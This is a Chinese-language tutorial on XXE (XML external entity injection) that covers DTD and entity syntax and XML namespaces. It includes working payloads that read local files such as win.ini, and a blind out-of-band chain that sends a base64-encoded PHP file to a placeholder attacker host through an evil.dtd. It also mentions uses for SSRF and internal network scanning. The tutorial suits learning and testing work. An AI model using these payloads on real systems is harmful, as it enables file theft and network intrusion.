1. 程式人生 > >XXE(外部實體註入攻擊)

XXE(外部實體註入攻擊)

版本 標簽 編碼 fix think 實體 名稱 利用 報錯

XXE(XML External Entity 外部實體註入)

DTD(Document Type Definition 文檔類型定義)用來為XML文檔定義語義約束,可以嵌入在XML文檔中(內部聲明)也可以獨立的放在一個文件中(外部引用),由於其支持的數據類型有限,無法對元素或屬性的內容進行詳細規範,在可讀性和可擴展性方面也比不上XML Schema參考鏈接:http://www.w3school.com.cn/dtd/


DTD引用方式:

  1. DTD內部聲明 <!DOCTYPE 根元素[元素聲明]>
  2. DTD外部引用 <!DOCTYPE 根元素名稱 SYSTEM "外部DTD的URL">
  3. 引用公共DTD <!DOCTYPE 根元素名稱 PUBLIC "DTD標識名""公用DTD的URL">

示例:
<?xml version="1.0"?>
<!DOCTYPE configuration PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-config.dtd">
......
命名方法:

以!DOCTYPE開始,configuration是文檔根元素名稱;
PUBLIC表示是公共DTD;-表示是非ISO組織;mybatis.org表示組織;
DTD 表示類型;Config 表示標簽;3.0是標簽後附帶的版本號;
EN表示DTD語言是英語;最後是DTD的URL;

DTD實體聲明:
內部實體聲明

<!ENTITY 實體名稱 "實體的值">
一個實體由三個部分構成,分別是&、實體名稱、(;),這裏&不論在GET還是在POST中都需要進行URL編碼,因為是使用參數傳入XML的,&符號會被認為是參數間的連接符號
示例:
1.<!DOCTYPE foo [<!ELEMENT foo ANY >
2.<!ENTITY xxe "Thinking">]>
3.<foo>&xxe;</foo>
外部實體聲明 <!ENTITY 實體名稱 SYSTEM "URL/URI">
外部引用可支持http,file等協議,不同的語言支持的協議不同,但存在一些通用的協議,如下圖所示:
示例:
1.<!DOCTYPE foo [<!ELEMENT foo ANY >
2.<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
3.<foo>&xxe;</foo>
參數實體聲明

1.<!ENTITY % 實體名稱 "實體的值">
2.or
3.<!ENTITY % 實體名稱 SYSTEM "URI">
示例:
1.<!DOCTYPE foo [<!ELEMENT foo ANY >
2.<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
3.%xxe;]>
4.<foo>&evil;</foo>
引用公共實體: <!ENTITY 實體名稱 PUBLIC "Public_ID" "URL">

使用DTD的利用方式
利用XXE漏洞可以進行拒絕服務攻擊、文件讀取、命令代碼執行、SQL(XSS)註入、內外掃描端口和入侵內網站點等,內網探測和入侵是利用XXE中支持的協議進行內網主機和端口的發現,可以理解為使用XXE進行SSRF的利用
一般XXE的利用分為兩個場景:有回顯和無回顯。
有回顯的情況下可以直接在頁面看到Payload的執行結果或現象,無回顯的情況又稱為Blind XXE,可以使用外帶數據通道提取數據
有回顯
可使用如下兩種方式進行XXE註入攻擊
1.<!DOCTYPE foo [<!ELEMENT foo ANY >
2.<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
3.<foo>&xxe;</foo>

1.<!DOCTYPE foo [<!ELEMENT foo ANY >
2.<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
3.%xxe;]>
4.<foo>&evil;</foo>
外部evil.dtd中的內容:
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >
也可以進行內網站點的入侵(SSRF)

無回顯
可以使用外帶數據通道提取數據,先使用php://filter獲取目標文件的內容,然後將內容以http請求發送到接受數據的服務器(攻擊服務器)xxx.xxx.xxx

1.<!DOCTYPE updateProfile [
2.<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php">
3.<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
4.%dtd;
5.%send;
6.]>
evil.dtd的內容,內部的%號要進行實體編碼成&#x25。

1.<!ENTITY % all
2."<!ENTITY &#x25; send SYSTEM ‘http://xxx.xxx.xxx/?data=%file;‘>"
3. >
4.%all;
有報錯則直接查看報錯信息,無報錯需要訪問接收數據的服務器中的日誌信息,可以看到經過base64編碼過的數據
XXE的擴展:
XML Schema(可擴展標記語言架構),用來定義XML文檔的合法構建模塊,類似DTD,Schema是DTD的替代者,比DTD能做更多的事情
參考鏈接:
http://www.w3school.com.cn/schema/schema_intro.asp

對於xmlns,當有多個文檔被一起使用時候不同文檔可能帶有不同內容和定義名稱相同的元素,這樣就會發生命名沖突,XML解釋器無法確定如何處理這類沖突,而xmlns可以解決這個問題,我們為標簽添加了一個 xmlns 屬性,這樣就為前綴賦予了一個與某個命名空間相關聯的限定名稱。此時再把它們放在一起,XML解析器就不會報錯了。

1.<!-- 這裏xmlns:abc="url"表示這個table是用abc作為標記,table的寫法在url中定義 -->
2.<abc:table xmlns:abc="url">
3. <abc:tr>
4. <abc:td>Apples</abc:td>
5. <abc:td>Bananas</abc:td>
6. </abc:tr>
7.</abc:table>


語法:xmlns=”namespaceURI”表示默認的Namespace,可以不使用前綴;非默認的便需要使用前綴避免XML報錯。 xmlns:namespace-prefix=”namespaceURI”,其中namespace-prefix為自定義前綴,只要在這個XML文檔中保證前綴不重復即可;namespaceURI是這個前綴對應的XML Namespace的定義,如下例子中的xmlns:xsi表示使用xsi作為前綴的Namespace。

xsi:schemaLocation屬性便是Namespace為http://www.w3.org/2001/XMLSchema-instance裏的schemaLocation屬性。xsi:schemaLocation定義了XML Namespace和對應的 XSD(Xml Schema Definition)文檔的位置的關系。它的值由一個或多個URI引用對組成,兩個URI之間以空白符分隔(空格和換行均可)。第一個URI是定義的 XML Namespace的值,第二個URI給出Schema文檔的位置,Schema處理器將從這個位置讀取Schema文檔,文檔的targetNamespace必須與第一個URI相匹,具體內容如下所示:

1.<?xml version="1.0"?>
2.
3.<note xmlns="http://www.runoob.com"
4.xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
5.xsi:schemaLocation="http://www.springframework.org/schema/context
6. http://www.springframework.org/schema/context/spring-context.xsd"
7.
8.targetNamespace="http://www.springframework.org/schema/context"
9.......
10.</note>
關於XML Schema的攻擊手段,日後再進行資料查找

XXE(外部實體註入攻擊)